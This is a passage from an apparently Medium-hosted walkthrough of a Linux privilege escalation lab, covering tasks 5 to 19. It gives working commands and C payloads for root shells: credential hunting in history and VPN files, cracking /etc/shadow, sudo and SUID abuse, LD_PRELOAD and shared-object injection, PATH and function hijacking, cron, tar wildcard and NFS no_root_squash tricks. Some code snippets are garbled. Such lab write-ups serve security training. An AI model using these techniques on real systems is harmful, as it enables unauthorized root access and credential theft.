credentials.</p><pre>cat /home/user/myvpn.ovpn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iNXOErD-fWVQYCpkygVqg.png" /></figure><p>Here, there is also a username and password. That’s why it’s important to pay attention to such configuration files.</p><h4>Task 5 — Privelege Escalation — Stored Passwords (History)</h4><p>It is important to check the .bash_history file because it can reveal the commands the user has executed.</p><pre>cat ~/.bash_history | grep -i passw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*yelKeTndPY43aNvf3RY7kw.png" /></figure><p>There is also a username and password here</p><h4>Task 6 — Privelege Escalation —Weak File Permissions</h4><p>You might have permission to read /etc/shadow. If so, you can try to crack the user’s password hash from there. Before cracking the hash, you need to combine /etc/passwd and /etc/shadow using the unshadow command.</p><pre>unshadow passwd shadow &gt; unshadow.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*djSV9l2xMZE9fTWGqW7lCQ.png" /></figure><h4>Task 7 — Privelege Escalation — SSH Keys</h4><p>The id_rsa key is used for passwordless SSH authentication. Therefore, if we can find this key, we can use it to establish an SSH connection without needing a password.</p><ol><li>We locate the id_rsa file and copy it to another file.</li></ol><pre>find / -name id_rsa 2&gt;/dev/null</pre><p>Then we connect via SSH from the attacker’s VM.</p><pre>chmod 400 id_rsa  <br>ssh -i rsa root@İP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*mV93augkanazpfTfpogirw.png" /></figure><p>However, the SSH connection prompts for a passphrase for the id_rsa key, which appears to be an error in the lab setup.</p><h4>Task 8 — Privelege Escalation — Sudo (Shell Escaping)</h4><p>The sudo -l command shows which commands can be run as root. We can choose one from here and enter it into <a href="https://gtfobins.github.io/">this site(gtfobins)</a>, then use the sudo command to get a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*i1_1qwMCNxwA0Y06LEqhIQ.png" /></figure><h4>For example,</h4><pre>./find . -exec /bin/sh -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*ew_lcnqupVfFvPlvO8MRjg.png" /></figure><h4>Task 9 — Privilege Escalation — Sudo (Abusing Intended Functionality)</h4><p>When we run sudo apache2 -f /etc/shadow, it returns an error, but the error also returns the first line of /etc/shadow, which contains the root&#39;s hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WTldjbJIR94aSFY9QvA0xg.png" /></figure><p>“Why is this happening? You need to provide an executable file to start the Apache2 server, but /etc/shadow is not an executable file.”</p><h4>Task 10 — Privelege Escalation — Sudo (LD_PRELOAD)</h4><p>When you type sudo -l “env_reset env_keep=LD_PRELOAD” pay attention to the text that appears.<br>“Reset the environment variables normally (env_reset), but do not delete the LD_PRELOAD variable, keep it (env_keep+=LD_PRELOAD).”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*eTQyz877VoVdB3xE5akKPA.png" /></figure><ol><li>We need to find the c code to elevate privileges using LD_PRELOAD</li></ol><p>#include &lt;stdio.h&gt; <br>#include &lt;sys/types.h&gt; <br>#include &lt;stdlib.h&gt;</p><p>void _init() { <br> unsetenv(&quot;LD_PRELOAD&quot;); — → LD_PRELOAD <br> setgid(0) funksiyasını söndürür; →root <br> setuid (0); →root<br> sistemi (“/bin/bash”); → <br>}</p><p>2. We need to compile the C code.</p><pre>gcc nc.c -o c.so -fPIC -shared -nostartfiles</pre><p>3. Next, we need to execute LD_PRELOAD as our own code, but for this you need to be able to use sudo -l.</p><pre>sudo LD_PRELOAD=/home/user/c.so apache2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*dXKk8nQb43nE0nvXUJk1GQ.png" /></figure><p>With this command we look at files with suid permissions</p><h4>Task 11 — Privilege Escalation — SUID (Shared Object Injection)</h4><p>By executing this command we find files with suid permissions.</p><pre>find / -name root -perm /4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*L6Xbor2uNbwrJjyXLy6cHg.png" /></figure><p>2)Strace is a library that calls system calls.We will call suid-so.</p><pre>strace /usr/local/bin/suid-so 2&gt;&amp;1 | grep -i -E &quot;open|access|no such file&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*wu9a0d8n1SbRrMAQOdyB0w.png" /></figure><p>From here we see that suid-so can execute this file, but this file does not exist, so if we create this file, we can execute it as root.</p><pre>mkdir .config<br>cd .config<br>touch libcalc.c</pre><p>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;</p><p>static void inject() __attribute__((constructor));</p><p>void inject() { — -&gt;is a function that does not return any value<br> system(“cp /bin/bash /tmp/bash &amp;&amp; chmod +s /tmp/bash &amp;&amp; /tmp/bash -p”); — →It moves /bin/bash to /tmp/bash and gives it suid privileges and runs it, so if we call it, we get a root shell.</p><p>To get the shell, we write this code in libcalc.c</p><pre>gcc -shared -fPIC libcalc.c -o libcalc.so</pre><p>After compiling, when we execute /usr/local/bin/suid-so it gives us a bash shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*wVIzv1OxeMuH67qeXVTiYg.png" /></figure><h4>Task 12 — Privilege Escalation — SUID (Symlinks)</h4><ol><li>Type dpkg -l nginx and look for the nginx version. You may find a cve for that version, but it is already available in the lab.</li></ol><p>2) Open 2 terminals and become root in both.</p><p>Terminal 1</p><ol><li>We switch to the www-data user</li></ol><pre>su -l www-data</pre><p>2. Then we need to start nginx with error.log containing the malicious code. This code is written to be executed during log rotation.</p><pre>/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log</pre><p>3. We start the logrotate process (in another terminal)</p><pre>invoke-rc.d nginx rotate &gt;/dev/null 2&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*R6SAERaveFm82Hk24nDHlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*ODjoEScBaGk3Dl5Pi6gieg.png" /></figure><h4>Task 13 — Privelege Escalation — SUID (Environment Variables #1)</h4><p>When we look at suid-env, we see that there is a service called apache2 start. What we are interested in here is the service command. We think that if the service is run as root, how can we run the command we want instead of the service?</p><ol><li>We create a service.c file and write our code inside it to get a bin/bash shell.</li></ol><pre>echo &#39;int main() { setgid(0); setuid(0); system(&quot;/bin/bash&quot;); return 0; }&#39; &gt; /home/user/service.c</pre><p>2. Then we compile as usual</p><pre>gcc /home/user/service.c -o /home/user/service</pre><p>3. We wanted to run the service command as we wanted. So we added the location of the code we compiled to the PATH so that the compiler would see it as a command. So when we execute /usr/local/bin/suid-env, it would run our bin/bash code there instead of the service command and we would be root.</p><pre>export PATH=/home/user:$PATH </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*0ZlaXP840qhJRqrvea0dAw.png" /></figure><h4>Task 14 — Privelege Escalation — SUID (Environment Variables #2)</h4><p>This time we read suid-env2 with the strings command and see that /usr/sbin/service apache2 is started. And again we wonder how we can execute /usr/sbin/service to gain root access.</p><ol><li>We create a function.</li></ol><pre>function /usr/sbin/service() { cp /bin/bash /tmp &amp;&amp; chmod +s /tmp/bash &amp;&amp; /tmp/bash -p; }</pre><p>This function is currently empty, we need to bind it to trigger so that the function runs when triggered. What we want to run as root is /usr/sbin/service.</p><pre>export -f /usr/sbin/service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*kOCtdBW_53wyS-lOmwUkew.png" /></figure><h4>Task 15 — Privelege Escalation — Capabilities</h4><p>In Linux, capabilities are a mechanism used to manage traditional root (superuser) privileges in a more granular and secure manner.</p><ol><li>We call capabilities</li></ol><pre>getcap -r 2&gt;/dev/null</pre><p>2. Then here /usr/bin/python2.6 this version comes out.</p><p>3. We go to this <a href="https://gtfobins.github.io/">site</a> and select python capabilities and ./python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’ and this is what we get. The part we need to change here is ./python. Instead we type the version we got from getcap, /usr/bin/python2.6 -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’ and we get a root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*AUChy6JRdxohEz0zCv8o7g.png" /></figure><h4>Task 16 — Privelege Escalation — Cron(Path)</h4><p>cronjob — is the automation of any action at a certain time,when we look at the crontab, it’s likely to run every minute. overwrite.sh is an example. So we have to think that if this runs every minute, if we can add our code to it, we’ll get a root shell.</p><ol><li>We write regular code in that file and give it chmod +x to make it work.</li></ol><pre>echo &#39;cp /bin/bash /tmp/bash; chmod +s /tmp/bash&#39; &gt; /home/user/overwrite.sh<br>chmod +x</pre><p>2. And we just need to execute the shell we created</p><pre>/tmp/bash -p</pre><h4>Task 17 — Privilege Escalation — Cron (Wildcards)</h4><p>In this case, we are using the ‘wildcard (*)’ in the tar command to escalate privileges.</p><ol><li>First, let’s write our script to get the root shell.</li></ol><pre>echo &#39;cp /bin/bash /tmp/bash; chmod +s /tmp/bash&#39; &gt; /home/user/amin.sh</pre><p>2. Next, we need to run the script by tricking the tar command.</p><pre>touch /home/user/--checkpoint=1<br>touch /home/user/--checkpoint-action=exec=sh\ amin.sh</pre><p>This file creates a special parameter name that can be used in the tar command. When tar sees this file, it accepts it as a parameter.</p><p>The second file, with the command — checkpoint-action=exec=sh\ runme.sh , tells tar to run the runme.sh script every time this checkpoint is run.So tar treats the files we create as special parameters, and we use this behavior.</p><p>3. Wait 1 minute for the Bash script to execute.</p><pre>/tmp/bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*1I_hgIdWTKAGGMzp_dJ2DQ.png" /></figure><h4>Task 19 — Privelege Escalation — NFS Root Squashing</h4><p>NFS-Linux is used for file sharing. It is similar to smb on Windows.<br>It is located in /etc/export</p><ol><li>In shared files, we see no_root_squash and with that we can escalate privileges.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*kmcVEFwUMoQhMUc6Hy-8gg.png" /></figure><p>2. When you type showmount -e IP, /tmp * comes out, so we can see that we can mount the /tmp directory.</p><p>3. We create /tmp/2 ourselves and mount it with the target.</p><pre>mount -o rw,vers=2 İP:/tmp /tmp/2</pre><p>4.And we put the c code in the folder we linked.</p><pre>echo &#39;int main() { setgid(0); setuid(0); system(&quot;/bin/bash&quot;); return 0; }&#39; &gt; /tmp/2/x.c</pre><pre>gcc /tmp/2/x.c -o /tmp/2/x</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLWab2jZeH6y5miK3_xn0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*gh_DLlprw3_CDgWk06oN6Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85dc33fdb34d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>